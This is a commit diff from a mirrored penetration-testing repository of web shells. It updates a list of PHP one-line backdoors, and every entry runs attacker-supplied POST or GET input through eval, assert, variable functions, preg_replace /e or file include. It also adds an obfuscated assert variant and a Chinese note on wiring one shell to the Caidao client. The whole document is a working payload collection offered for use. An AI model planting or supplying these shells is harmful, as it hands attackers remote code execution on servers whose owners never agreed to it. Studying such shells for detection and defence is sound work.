PenTest/webshell
1
0
Fork 0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 12:51:28 +00:00
Code Issues Projects Releases Wiki Activity

Update php一句话

Browse Source
This commit is contained in:
tennc
2015-09-21 16:59:34 +08:00
parent d46edd2712
commit ab3dabfbf5
1 changed files with 11 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files

18
php/php一句话
View File

@@ -1,13 +1,15 @@
[+]php一句话 [+]php一句话
1) <?php eval($_POST[sb]);?> 1. <?php eval($_POST[sb]);?>
2) <?php @eval($_POST[sb]);?> 2. <?php @eval($_POST[sb]);?>
3) <?php assert($_POST[sb]);?> 3. <?php assert($_POST[sb]);?>
4) <?$_POST['sa']($_POST['sb']);?> 4. <?$_POST['sa']($_POST['sb']);?>
5) <?$_POST['sa']($_POST['sb'],$_POST['sc'])?> 5. <?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
6) <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> 6. <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
　 //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入 　 //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
　 <O>h=@eval($_POST[c]);</O> 　 <O>h=@eval($_POST[c]);</O>
7) <script language="php">@eval($_POST[sb])</script> 7. <script language="php">@eval($_POST[sb])</script>
8) $filename=$_GET['xbid']; 8. $filename=$_GET['xbid'];
include ($filename); include ($filename);
9. <?php
$c='ass'.'ert';${c}($_POST[4]);?>